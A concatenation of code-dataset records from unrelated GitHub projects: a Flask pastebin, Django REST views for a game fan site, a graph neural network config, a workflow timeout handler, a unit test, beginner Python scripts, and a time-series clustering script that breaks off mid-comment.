BidderCore(bidder)","repo_name":"NeilSoul/Auction","sub_path":"bidder_core.py","file_name":"bidder_core.py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"13453977514","text":"#\r\n# Copyright (c) 2017 - 2020 Keira T (https://kei.info.gf). All Rights Reserved.\r\n# You may use, distribute and modify this code under the QPL-1.0 license.\r\n# The full license is included in LICENSE.md, which is distributed as part of this project.\r\n#\r\n\r\nimport syndbb\r\nfrom syndbb.models.users import d2_user, check_session_by_id\r\nfrom syndbb.models.paste import d2_paste\r\nfrom syndbb.models.time import unix_time_current\r\n\r\nhtml_escape_table = {\r\n \">\": \">\",\r\n \"<\": \"<\",\r\n }\r\n\r\ndef html_escape(text):\r\n \"\"\"Produce entities within text.\"\"\"\r\n return \"\".join(html_escape_table.get(c,c) for c in text)\r\n\r\ndef has_no_empty_params(rule):\r\n defaults = rule.defaults if rule.defaults is not None else ()\r\n arguments = rule.arguments if rule.arguments is not None else ()\r\n return len(defaults) >= len(arguments)\r\n\r\n@syndbb.app.route(\"/pastebin/\")\r\ndef pastebin():\r\n if 'logged_in' in syndbb.session:\r\n dynamic_js_footer = [\"js/bootbox.min.js\", \"js/delete.js\"]\r\n userid = check_session_by_id(str(syndbb.session['logged_in']))\r\n if userid:\r\n getPastes = d2_paste.query.filter(d2_paste.user_id == userid).order_by(syndbb.db.desc(d2_paste.time)).all()\r\n return syndbb.render_template('pastebin.html', dynamic_js_footer=dynamic_js_footer, paste_list=getPastes, title=\"Pastebin\", subheading=[\"\"])\r\n else:\r\n return syndbb.render_template('error_not_logged_in.html', title=\"Pastebin\", subheading=[\"\"])\r\n else:\r\n return syndbb.render_template('error_not_logged_in.html', title=\"Pastebin\", subheading=[\"\"])\r\n\r\n@syndbb.app.route(\"/pastebin/\")\r\ndef paste(paste):\r\n getPaste = d2_paste.query.filter(d2_paste.paste_id == paste).first()\r\n subheading = ['Pastebin']\r\n if getPaste:\r\n return syndbb.render_template('pastebin.html', paste=getPaste, title=\"\" + getPaste.title, subheading=subheading)\r\n else:\r\n return syndbb.render_template('invalid.html', title=\"Invalid Paste\", subheading=subheading)\r\n\r\n@syndbb.app.route(\"/functions/dopaste\", methods=['GET', 'POST'])\r\ndef dopaste():\r\n paste_title = syndbb.request.form['paste_title']\r\n paste_content = syndbb.request.form['paste_content']\r\n uniqid = syndbb.request.form['uniqid']\r\n\r\n if paste_title and paste_content and uniqid:\r\n userid = check_session_by_id(uniqid)\r\n if userid:\r\n pasteid = str(syndbb.uuid.uuid4().hex)\r\n new_paste = d2_paste(userid, pasteid, unix_time_current(), html_escape(paste_content), html_escape(paste_title))\r\n syndbb.db.session.add(new_paste)\r\n syndbb.db.session.commit()\r\n syndbb.flash('Paste created successfully.', 'success')\r\n return syndbb.redirect(syndbb.url_for('pastebin'))\r\n else:\r\n return \"Invalid Session\"\r\n else:\r\n return \"Invalid Request\"\r\n\r\n@syndbb.app.route(\"/functions/undopaste\")\r\ndef undopastes():\r\n paste_id = syndbb.request.args.get('paste_id')\r\n uniqid = syndbb.request.args.get('uniqid')\r\n\r\n if paste_id and uniqid:\r\n userid = check_session_by_id(uniqid)\r\n if userid:\r\n deletePaste = d2_paste.query.filter(d2_paste.user_id == userid).filter(d2_paste.paste_id == paste_id).order_by(syndbb.db.desc(d2_paste.time)).first()\r\n syndbb.db.session.delete(deletePaste)\r\n syndbb.db.session.commit()\r\n syndbb.flash('Paste deleted.', 'success')\r\n return syndbb.redirect(syndbb.url_for('pastebin'))\r\n else:\r\n return \"Invalid Session\"\r\n else:\r\n return \"Invalid Request\"\r\n","repo_name":"researcx/SynDBB","sub_path":"syndbb/views/pastebin.py","file_name":"pastebin.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32182927729","text":"from django.shortcuts import get_object_or_404\nfrom rest_framework import status\nfrom django.db.models import Count\nfrom django.http import Http404\nfrom rest_framework import pagination\nfrom rest_framework import permissions\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom ipware import get_client_ip\nfrom django.db.models import Q\nfrom .serializers import *\nfrom .models import *\nimport random\n\n\n#====================PAGE====================\nclass DefaultPagination(pagination.PageNumberPagination):\n page_size = 8\n page_size_query_param = 'page_size'\n max_page_size = 500\n\n\n#====================FAVO====================\nclass FavoApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n ipuser, _ = get_client_ip(request)\n target = request.GET.get('target')\n uuid = request.GET.get('uuid')\n if target == 'P':\n target_post = get_object_or_404(Post, slug=uuid)\n m = Favorite(ipuser=ipuser, target_P=target_post)\n n = Favorite.objects.filter(ipuser=ipuser, target_P=target_post)\n elif target == 'C':\n target_comment = get_object_or_404(Comment, slug=uuid)\n m = Favorite(ipuser=ipuser, target_C=target_comment)\n n = Favorite.objects.filter(ipuser=ipuser, target_C=target_comment)\n elif target == 'A':\n target_article = get_object_or_404(Article, slug=uuid)\n m = Favorite(ipuser=ipuser, target_A=target_article)\n n = Favorite.objects.filter(ipuser=ipuser, target_A=target_article)\n else: raise Http404()\n if n:\n n.delete()\n return Response('0')\n else:\n m.save()\n return Response('1')\n\n\n\n#====================ALERT====================\nclass AlertApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n alert_data = Alert.objects.filter(show=True)\n ser = AlertSerializer(instance=alert_data, many=True)\n return Response(ser.data)\n\n\n\n#====================SLIDESHOW====================\nclass SlideShowApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n slideshow_data = SlideShow.objects.filter(show=True)\n ser = SlideShowSerializer(instance=slideshow_data, many=True)\n return Response(ser.data)\n\n\n\n#====================TAG15====================\nclass TagsApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs) -> list:\n '''投稿に関連付けられたタグ上位30件を取得し、ランダムに15件を返す'''\n tags_data = Ghost.tags.most_common()[:30]\n ser = TagsSerializer(instance=tags_data, many=True)\n data = [s['name'] for s in ser.data]\n random.shuffle(data)\n return Response(data[:15])\n\n\n\n#====================GHOST====================\nclass GhostlistApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n '''Ghostテーブルからslug, name, level を抽出したリストを返す'''\n ghostlist_data = Ghost.objects.all().order_by('order')\n ser = GhostlistSerializer(instance=ghostlist_data, many=True)\n return Response(ser.data)\n\nclass GhostApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, pk, *args, **kwargs):\n '''URLのpkを取得し、Ggohstテーブルから関連したレコードをjsonで返す'''\n ghost_data = get_object_or_404(Ghost, pk=pk)\n ser = GhostSerializer(instance=ghost_data)\n return Response(ser.data)\n\n\n\n#====================EQUIPMENT====================\nclass EquipmentlistApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n '''Equipmentテーブルから装備タイプ別に分けたjosnを返す'''\n equipments_data = Equipment.objects.all().order_by('order')\n eq_type = EquipmentType.objects.all().order_by('order')\n ser = EquipmentlistSerializer(instance=equipments_data, many=True)\n\n bytype = [[{\n 'slug' : item['slug'],\n 'name' : item['name'],\n 'image1': item['image1']\n } for item in ser.data if item['equipment_type'] == typ.slug]\n for typ in eq_type]\n results = [{'name':eq_type[n].name, 'item':bytype[n]}\n for n in range(eq_type.count())]\n\n return Response(results)\n\nclass EquipmentApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, pk, *args, **kwargs):\n equipment_data = get_object_or_404(Equipment, pk=pk)\n ser = EquipmentSerializer(instance=equipment_data)\n return Response(ser.data)\n\n\n\n#====================CURSEDITEM====================\nclass CursedItemlistApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n cursedItems_data = CursedItem.objects.all().order_by('order')\n ser = CursedItemlistSerializer(instance=cursedItems_data, many=True)\n return Response(ser.data)\n\nclass CursedItemApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, pk, *args, **kwargs):\n cursedItem_data = get_object_or_404(CursedItem, pk=pk)\n ser = CursedItemSerializer(instance=cursedItem_data)\n return Response(ser.data)\n\n\n\n#====================GAMEMAP====================\nclass MaplistApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n maplist_data = Map.objects.all().order_by('order')\n ser = MaplistSerializer(instance=maplist_data, many=True)\n return Response(ser.data)\n\nclass MapApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, pk, *args, **kwargs):\n map_data = get_object_or_404(Map, pk=pk)\n ser = MapSerializer(instance=map_data)\n return Response(ser.data)\n\n\n\n#====================EVIDENCE====================\nclass EvidencelistApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n evidencelist_data = Evidence.objects.order_by('order')\n ser = EvidencelistSerializer(instance=evidencelist_data, many=True)\n return Response(ser.data)\n\nclass EvidenceApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, pk, *args, **kwargs):\n evidence_data = get_object_or_404(Evidence, pk=pk)\n ser = EvidenceSerializer(instance=evidence_data)\n return Response(ser.data)\n\n\n\n#====================POST====================\nclass PostlistApiview(APIView, DefaultPagination):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n '''sort=true: 最新順, sort=false: 古い順'''\n sort = True if request.GET.get('sort') == 'true' else False\n tags = request.GET.getlist('tags')\n\n q = Q()\n for t in tags:\n q.add(Q(tags__name=t), Q.OR)\n\n postlist_data = Post.objects.filter(q)\\\n .order_by(f'{\"-\" if sort else \"\"}created_at').annotate(\n commentSum=Count('comment'), favoriteSum=Count('favorite'))\n\n postlist_data_page = self.paginate_queryset(\n postlist_data, request, view=self)\n\n ser = PostlistSerializer(\n instance=postlist_data_page,\n context={'ipuser': get_client_ip(request)},\n many=True)\n\n return Response(ser.data)\n\n def post(self, request, *args, **kwargs):\n data = request.data\n ser = PostSerializer(data=request.data)\n if ser.is_valid():\n ser.save()\n return Response(ser.data, status=status.HTTP_201_CREATED)\n return Response(ser.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass CommentApiview(APIView, DefaultPagination):\n permission_classes = [permissions.AllowAny]\n def get(self, request, pk, *args, **kwargs):\n '''source==True?ソース投稿:ページテーションコメント '''\n source = request.GET.get('source')\n sort = True if request.GET.get('sort') == 'true' else False\n if source:\n try:\n post_data = Post.objects.annotate(\n commentSum=Count('comment'),\n favoriteSum=Count('favorite')).get(pk=pk)\n except Post.DoesNotExist:\n raise Http404()\n post_ser = PostlistSerializer(\n instance=post_data, context={'ipuser': get_client_ip(request)})\n return Response(post_ser.data)\n else:\n comment_data = Comment.objects.filter(target=pk)\\\n .annotate(favoriteSum=Count('favorite'))\\\n .order_by(f'{\"-\" if sort else \"\"}created_at')\n\n comment_data_page = self.paginate_queryset(\n comment_data, request, view=self)\n\n comment_ser = CommentlistSerializer(\n instance=comment_data_page,\n context={'ipuser': get_client_ip(request)},\n many=True)\n return Response(comment_ser.data)\n\n\n def post(self, request, format=None):\n \n pass\n\n\n\n#====================ARTICLE====================\nclass ArticlelistApiview(APIView, DefaultPagination):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n '''sort=0: 最新順, sort=1: 古い順'''\n sort = True if request.GET.get('sort') == 'true' else False\n tags = request.GET.getlist('tags')\n q = Q()\n for t in tags:\n q.add(Q(tags__name=t), Q.OR)\n articlelist_data = Article.objects\\\n .order_by(f'{\"-\" if sort else \"\"}created_at')\\\n .annotate(favoriteSum=Count('favorite'))\n articlelist_data_page = \\\n self.paginate_queryset(articlelist_data, request, view=self)\n\n ser = ArticlelistSerializer(\n articlelist_data_page,\n context={'ipuser': get_client_ip(request)},\n many=True)\n return Response(ser.data)\n\nclass ArticleApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, pk, *args, **kwargs):\n try:\n article_data =Article.objects\\\n .annotate(favoriteSum=Count('favorite')).get(pk=pk)\n except Article.DoesNotExist:\n raise Http404()\n\n ser = ArticleSerializer(\n instance=article_data, context={'ipuser': get_client_ip(request)})\n\n return Response(ser.data)\n\n\n\n ##### ##### ##### #\n # # # # # #\n # # # # # #\n # ##### ##### #####\n#====================CUSTOMDIFFICULTY====================\nclass CustomDifficultyApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n difficulty_data = CustomDifficultyItem.objects.all().order_by('order')\n di_type = CustomDifficultyType.objects.all().order_by('order')\n\n ser = CustomDifficultySerializer(instance=difficulty_data, many=True)\n\n bytype = [\n [item for item in ser.data if item['difficulty_type'] == typ.slug]\n for typ in di_type]\n\n results = [{\n 'name':di_type[n].name,\n 'help':di_type[n].help,\n 'item':bytype[n]}\n for n in range(di_type.count())]\n\n return Response(results)\n\n\nclass CustomDifficultyPresetApiview(APIView):\n permission_classes = [permissions.AllowAny]\n def get(self, request, *args, **kwargs):\n preset_data = CustomDifficultyPreset.objects.all().order_by('order')\n ser = CustomDifficultyPresetSerializer(instance=preset_data, many=True)\n return Response(ser.data)\n\n\n\n#====================IDENTIFICATION====================\nclass IdentificationApiview(APIView):\n permission_classes = [permissions.AllowAny]\n '''frontend\n APIContextからevidenceTop[name], ghostTop[name]を取得\n Feature->list と byGhost->dic を新たにこのAPIから取得\n evidenceTopとFeatureをViewに表示 → 3パターンの状態(n, c, e)\n ghost別倍率用変数 = 1 に対して、\n nの場合→ 何もしない\n cの場合→ slugを取得し対象の値を掛ける\n eの場合→ slugを取得し100から対象の値を引いた値を掛ける\n '''\n def get(self, request, *args, **kwargs):\n\n item = request.GET.get('item') and True\n\n if item:\n feature_data = Feature.objects.all().order_by('order')\n feature_ser = IdentificationSerializer(\n instance=feature_data, many=True)\n fe_type = FeatureType.objects.all().order_by('order')\n\n bytype = [\n [item for item in feature_ser.data\n if item['feature_type'] == typ.id]for typ in fe_type]\n\n results = [{\n 'name':fe_type[n].name,\n 'help':fe_type[n].help,\n 'curse':fe_type[n].curse and fe_type[n].curse.slug,\n 'item':bytype[n]}\n for n in range(fe_type.count())]\n\n return Response(results)\n\n else:\n byGhost_data = Ghost.objects.all().order_by('order')\n byGhost_ser = ByGhostSerializer(instance=byGhost_data, many=True)\n return Response(byGhost_ser.data)","repo_name":"MaskRom/phasmosite","sub_path":"project/django/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25939787433","text":"import os\nimport random\nimport flgo.benchmark\nimport torch.nn as nn\nimport torch_geometric\nfrom torch.nn import Linear\nimport torch.nn.functional as F\nfrom torch_geometric.nn import GCNConv\nfrom torch_geometric.nn import global_mean_pool\n\npath = os.path.join(flgo.benchmark.data_root, 'MUTAG')\nall_data = torch_geometric.datasets.TUDataset(path, name='MUTAG', use_node_attr=True)\nall_idxs = [i for i in range(len(all_data))]\nrandom.shuffle(all_idxs)\nnum_samples = len(all_data)\ntrain_idxs = all_idxs[:int(0.9*num_samples)]\ntest_idxs = all_idxs[int(0.9*num_samples):]\ntrain_data = all_data[train_idxs]\ntest_data = all_data[test_idxs]\n\n\nclass GCN(nn.Module):\n def __init__(self, hidden_channels=64):\n super(GCN, self).__init__()\n self.conv1 = GCNConv(7, hidden_channels)\n self.conv2 = GCNConv(hidden_channels, hidden_channels)\n self.conv3 = GCNConv(hidden_channels, hidden_channels)\n self.lin = Linear(hidden_channels, 2)\n\n def forward(self, data):\n x, edge_index, batch = data.x, data.edge_index, data.batch\n # 1. Obtain node embeddings\n x = self.conv1(x, edge_index)\n x = x.relu()\n x = self.conv2(x, edge_index)\n x = x.relu()\n x = self.conv3(x, edge_index)\n\n # 2. Readout layer\n x = global_mean_pool(x, batch) # [batch_size, hidden_channels]\n\n # 3. Apply a final classifier\n x = F.dropout(x, p=0.5, training=self.training)\n x = self.lin(x)\n return x\n\ndef get_model():\n return GCN()","repo_name":"WwZzz/easyFL","sub_path":"flgo/benchmark/mutag_graph_classification/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":357,"dataset":"github-code","pt":"67"} +{"seq_id":"29048577246","text":"import datetime\nimport logging\n\nfrom django.dispatch import receiver\n\nfrom bamboo_engine import states as bamboo_engine_states\nfrom pipeline.contrib.node_timeout.models import TimeoutNodeConfig\nfrom pipeline.contrib.node_timeout.settings import node_timeout_settings\nfrom pipeline.eri.signals import post_set_state\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef _node_timeout_info_update(redis_inst, to_state, node_id, version):\n key = f\"{node_id}_{version}\"\n if to_state == bamboo_engine_states.RUNNING:\n now = datetime.datetime.now()\n timeout_node_config = TimeoutNodeConfig.objects.filter(node_id=node_id).only(\"timeout\").first()\n if not timeout_node_config:\n return\n timeout_time = (now + datetime.timedelta(seconds=timeout_node_config.timeout)).timestamp()\n redis_inst.zadd(node_timeout_settings.executing_pool, mapping={key: timeout_time}, nx=True)\n elif to_state in [bamboo_engine_states.FAILED, bamboo_engine_states.FINISHED, bamboo_engine_states.SUSPENDED]:\n redis_inst.zrem(node_timeout_settings.executing_pool, key)\n\n\n@receiver(post_set_state)\ndef bamboo_engine_eri_node_state_handler(sender, node_id, to_state, version, root_id, parent_id, loop, **kwargs):\n try:\n _node_timeout_info_update(node_timeout_settings.redis_inst, to_state, node_id, version)\n except Exception:\n logger.exception(\"node_timeout_info_update error\")\n","repo_name":"TencentBlueKing/bamboo-engine","sub_path":"runtime/bamboo-pipeline/pipeline/contrib/node_timeout/signals/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"67"} +{"seq_id":"1783070807","text":"\"\"\"tests for ctapipe.utils.quantities\"\"\"\nimport pytest\nimport numpy as np\nimport astropy.units as u\n\nfrom ctapipe.utils.quantities import all_to_value\n\n\ndef test_all_to_value():\n \"\"\"test all_to_value\"\"\"\n x_m = np.arange(5) * u.m\n y_mm = np.arange(5) * 1000 * u.mm\n z_km = np.arange(5) * 1e-3 * u.km\n nono_deg = np.arange(5) * 1000 * u.deg\n\n # one argument\n x = all_to_value(x_m, unit=u.m)\n assert (x == np.arange(5)).all()\n\n # two arguments\n x, y = all_to_value(x_m, y_mm, unit=u.m)\n assert (x == np.arange(5)).all()\n assert (y == np.arange(5)).all()\n\n # three\n x, y, z = all_to_value(x_m, y_mm, z_km, unit=u.m)\n assert (x == np.arange(5)).all()\n assert (y == np.arange(5)).all()\n assert (z == np.arange(5)).all()\n\n # cannot be converted\n with pytest.raises(u.UnitConversionError):\n all_to_value(x_m, nono_deg, unit=x_m.unit)\n","repo_name":"cta-observatory/ctapipe","sub_path":"ctapipe/utils/tests/test_quantities.py","file_name":"test_quantities.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"67"} +{"seq_id":"661478142","text":"\"\"\"\nA simple script that asks user for name and date of birth and prints how\nmany days user has been alive.\n\"\"\"\n\nfrom datetime import datetime\n\nwhile True:\n try: \n name = input('What is your name?\\n')\n birth = datetime.strptime(input('When where you born?\\n'), \"%m/%d/%Y\")\n today = datetime.now()\n days_alive = (today - birth).days\n print(f\"{name} you've lived {days_alive} days!!\")\n break\n except:\n print('Try again...')\n\ndef adding_two_numbers(a: float, b: float):\n \"\"\"Adds two numbers\"\"\"\n return a + b","repo_name":"LorenzoPeve/Python-intro-Workshop","sub_path":"0_setup/python_script.py","file_name":"python_script.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71861398614","text":"import math\r\ndef prime(a1):\r\n x=0\r\n if a1 == 2 and a1 == 3:\r\n return True\r\n for i in range(2,int(math.sqrt(a1))+1):\r\n if a1%i==0:\r\n return False\r\n x=x+1\r\n break\r\n if x==0:\r\n return True\r\n \r\n \r\na1 = int(input())\r\nl=[]\r\nfor i in range(2,a1+1):\r\n if a1 % i ==0:\r\n if prime(i):\r\n print(i,end=' ')\r\n\r\n","repo_name":"Ashokmani1/GUVI","sub_path":"Player/set2/b_prime_factor.py","file_name":"b_prime_factor.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17652139391","text":"# Birch论文 A BIRCH-Based Clustering Method for Large Time Series Databases\n# 固定读取部分\nimport time\nforeignTime = time.time()\nimport os\nfileName = 'result.txt'\ndataPath = \"E:\\\\code\\\\myPaper\\\\k8sPredictor\"\n#返回一个词典,词典的key为第二项,value为一个列表,所有列表都应该等长\ndef ReadDataFromFile():\n LocalPath = os.path.join(dataPath,fileName)\n reader = open(LocalPath,'r',encoding='utf-8')\n store = reader.readlines()\n reader.close()\n readKey = False\n lastkey = 'key'\n data = {}\n for line in store:\n if readKey == True:\n readKey = False\n lastkey = line[:-1]#删去行尾换行符\n data[lastkey] = []\n elif line[:-1] == 'keykey':\n readKey = True\n else:\n data[lastkey].append(int(line[:-1]))\n del store\n return data\n \n\ndef WriteDataToFile(storeData):\n LocalPath = os.path.join(dataPath,fileName)\n writer = open(LocalPath,'w',encoding='utf-8')\n for key in storeData:\n writer.write('keykey\\n')\n writer.write(key+'\\n')\n for ele in storeData[key]:\n writer.write(str(ele)+'\\n')\n writer.close()\n\ndata = ReadDataFromFile()\nfrom tslearn.utils import to_time_series_dataset\nformatted_dataset = to_time_series_dataset(list(data.values()))\n# 新方法开始部分\n\nimport matplotlib.pyplot as plt\nfrom tslearn.preprocessing import TimeSeriesScalerMeanVariance\nfrom tslearn.piecewise import PiecewiseAggregateApproximation,SymbolicAggregateApproximation\nfrom tslearn.utils import to_time_series_dataset\nimport time\nimport numpy as np\n\n# 想法二:自行计算趋势线中心和residual\n# 1. 去除极端值(上下2%),对原有极端值地方使用线性插值或使用原有最大值(最大/最小抑制)\n# 孤点不立:如果只有一个点,删除后去线性。如果有多个点,进行最大最小值抑制\n# 2. 提取基线。提取方法可以使用滑动平均窗口。效果与PAA近似。可以直接使用PAA的结果\n# 将原始数据与基线相减,得到residual。这个残余值应该是一个与一天内时间比较相关的量\n\n# 计划:2月10、11日完成基线提取\n# 2月11-12整合多层聚类算法\n# 2月13日整合预测算法\n# 2月14日整合流量调度系统\n# 2月15日做实验\n\n# 1. 对原始数据进行异常点去除\n# 2. 进行与天数相同的点的PAA处理,提取基线数据\n# 3. 使用k-means之类的算法进行一次简单聚类\n# 4. 在简单聚类的基础上再进行一次复杂聚类\n# 5. 基线进行预测,每个残余数据对震荡幅度进行预测\n\n\n# 1.原始数据异常点去除实现:对原始数据进行排序。去除范围为前1%与后1%,合计2%左右\n# 如果旁边没有点,则直接删除,然后对原有数据空缺部分进行线性插值。否则进行最大最小抑制\n\n# 时间序列:异常点排除一为方法1\n# 时间序列:异常点排除方法2:对原数据进行归一化。将所有数据减去平均值的绝对值后排序,去除5%,并进行线性插值\n\nratio = 0.05 #异常点数量\n\n#归一化\nfrom tslearn.preprocessing import TimeSeriesScalerMinMax\nscaler = TimeSeriesScalerMeanVariance(mu=0., std=1.)\nstdData = scaler.fit_transform(formatted_dataset)\n\n# 为原有的均值设定为指定的方差和平均值(可能因为极端值的问题有些差别)\n# 将原始数据进行放缩,在原数据的基础上生成新的统一平均值数据\nDistAvg = 300\nVarAvg = 5000\nfor i in range(len(formatted_dataset)):\n repres = stdData[i]\n formatted_dataset[i] = repres * np.sqrt(VarAvg) + DistAvg\n\n\n# 对于每一行的数据,得到一个绝对值排序结果,将最大的前5%排除出去。然后对空缺的位置进行线性差值\nfor index,row in enumerate(stdData):\n element = abs(row)\n element = element.ravel()\n element.sort()\n maxNum = element[-1*int(ratio*len(element))]\n del element\n # 对于特殊情况,进行极值抑制\n # 只要能够找得到线性插值,就采用线性插值\n # 具体做法:不正常点(在最前或最后),直接采用最大值抑制\n # 使用一个数组进行一轮操作,将中间删除部分标出。\n # 对于被删掉的部分,寻找距离其最近的,两端进行线性插值。\n # previous为第一个异常点\n previous = -1\n for i,ele in enumerate(stdData[index]):\n if abs(ele) > maxNum:#这个点是异常点\n if previous == -1:\n previous = i\n else:\n if previous != -1:\n #开始进行从previous到i-1部分的线性插值\n if previous == 0:# 如果previous是第一个,对全体进行最大值抑制\n for vi in range(i):\n if stdData[index][vi] < 0:\n stdData[index][vi] = -1*maxNum\n else:\n stdData[index][vi] = maxNum\n else:#不是,正常进行最大值抑制\n dataRange = stdData[index][i] - stdData[index][previous-1]\n number = i - (previous-1)\n for vi in range(previous,i):\n stdData[index][vi] = stdData[index][previous-1] + dataRange/number*(vi-previous+1) \n previous = -1\n \n #可能出现最后一个是异常点的情况,进行抑制\n if previous != -1:\n for vi in range(previous,len(stdData[index])):\n if stdData[index][vi] < 0:\n stdData[index][vi] = -1*maxNum\n else:\n stdData[index][vi] = maxNum\n\n\n# 2.对去除后的数据进行归一化处理\n#再进行一次归一化\nfrom tslearn.preprocessing import TimeSeriesScalerMinMax\nscaler = TimeSeriesScalerMeanVariance(mu=0., std=1.)\noriginStdData = stdData.copy()\nstdData = scaler.fit_transform(stdData)\n\n\n\n# 新方法开始部分\n\nfrom sklearn.cluster import MiniBatchKMeans,KMeans,DBSCAN,SpectralClustering,Birch\nfrom sklearn.metrics import silhouette_score,calinski_harabasz_score\n\nfrom statsmodels.tsa.arima_model import ARIMA,ARMA\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\nimport statsmodels.api as sm\n\n# 数据处理部分\n\n#工具人函数\n# 求数据距离中心的平均距离\ndef getAvgDist(data):\n center = sum(data)/data.shape[0]\n score = 0\n for i in range(len(data)):\n t = getDist(center,data[i])\n score += t\n return score/len(data)\n\n# 新的评价指标:只考虑在基线中心附近一定范围内的时间序列的内聚度,超过这个范围则完全不考虑。\n# getCenter函数,目标是得到指定聚类的中心\ndef getCenter(originData,y_pre,clusNum):\n clusData = originData[y_pre==clusNum]\n if clusData.shape[0] == 0:#如果聚类为空,返回0\n return np.zeros(originData.shape[1])\n else:\n center = sum(clusData)/clusData.shape[0]\n return center\n\n# 衡量两个给定时间序列之间的欧式距离(默认其等长)\ndef getDist(vec1,vec2):\n vec1 = vec1.ravel()\n vec2 = vec2.ravel()\n return np.linalg.norm(vec1 - vec2)\n\n# 给定一个聚类以及一个范围,得到这个聚类的分数。分数越小聚类效果越好\n# episilon是一个范围,如果聚类中心到聚类的欧式距离超过了这个范围,则完全不考虑\ndef getScore(originData,y_pre,clusNum,epsilon):\n center = getCenter(originData,y_pre,clusNum)\n ans = 0\n num = 0\n clusNumber = 0\n for index,clus in enumerate(y_pre):\n if clus == clusNum:\n clusNumber += 1\n dist = getDist(center,originData[index])\n if dist < epsilon:\n ans += dist\n num += 1\n if num == 0:\n return 100*epsilon\n else:\n return ans/num/(num/clusNumber)\n\n# episilon的计算可以由预先进行,先对原始数据进行一个100-means分类,以前10个聚类中50%聚类与中心的距离的平均数计算出来\n# ratio是比例,默认取最小的50%\ndef getEpsilon(originData,ratio = 0.5):\n km = KMeans(n_clusters = 100,random_state = 0)\n y_pre = km.fit_predict(originData)\n score = 0\n num = 0\n for k in range(100):\n center = getCenter(originData,y_pre,k)\n l = []\n for index in np.where(y_pre == k)[0]:\n l.append(getDist(center,originData[index]))\n\n l.sort()\n if int(len(l)*ratio)!=0:\n score += l[int(len(l)*ratio)]\n num += 1\n return score / num\n\ndef getEpsilonFromtiny(originData):\n center = sum(originData)/originData.shape[0]\n l = []\n for index in range(len(originData)):\n l.append(getDist(center,originData[index]))\n \n l.sort()\n return l[int(len(l)*0.5)]\n\n#简易的可视化函数,能够可视化聚类结果\n# first_clus为原始聚类数据,y_pre为聚类结果,num为观看的聚类的数量。\ndef playClus(first_clus,y_pre,num):\n for k in range(num):\n count = 0\n for i in range(len(y_pre)):\n if y_pre[i] == k:\n plt.plot(first_clus[i])\n count += 1\n print(count)\n plt.show()\n\n# ratio是getEpsilon取的范围阈值\ndef getScore4Cluster(originData,y_pre,ratio):\n epsilon = getEpsilon(originData,ratio)\n clusNum = max(y_pre)\n score = 0\n for i in range(clusNum+1):\n score += getScore(originData,y_pre,i,epsilon)\n return score/(clusNum+1) \n\n# 给定一个m个特征的数据,返回其rank-base表示\ndef rankbased(origindata):\n ele = origindata.copy()\n ele.sort()\n ans = origindata.copy()\n for i in range(len(ans)):\n ans[i] = np.where(ele==ans[i])[0][0]\n del ele\n return ans\n\n\n#################################################################\n# 初始,根据原始数据计算新数据\n# 从paa这里\n\n# 需要在聚类前将训练数据划分完毕。ratio必须要精心选择使得paa的值能够成为整数\n\nratio = 0.9\nn_paa_segments = 18\npaa = PiecewiseAggregateApproximation(n_segments=n_paa_segments)\npaa_mid = paa.fit_transform(stdData[:,:int(ratio*stdData.shape[1])])\npaa_mid = paa_mid.reshape(paa_mid.shape[0],paa_mid.shape[1])\n\nfirst_clus = paa_mid.copy()\nfor i in range(len(first_clus)):\n first_clus[i] = rankbased(paa_mid[i])\n\n\n#################################################################\n# 第一次聚类使用Birch跑出初始,然后使用Kmeans细分。数据使用rank-base\n# 改进:直接使用原始数据,调整Birch的threshold\ndata = first_clus\ns = time.time()\ny_pre = Birch(n_clusters=None,threshold = getEpsilon(data,0.8)).fit_predict(data)\n#y_pre = KMeans(n_clusters = max(y_pre)+1,random_state = 0).fit_predict(data)\ne = time.time()\n\n#################################################################\n# 第二次聚类使用10以内间隔2的gap statistics。聚类对象为残差\n# 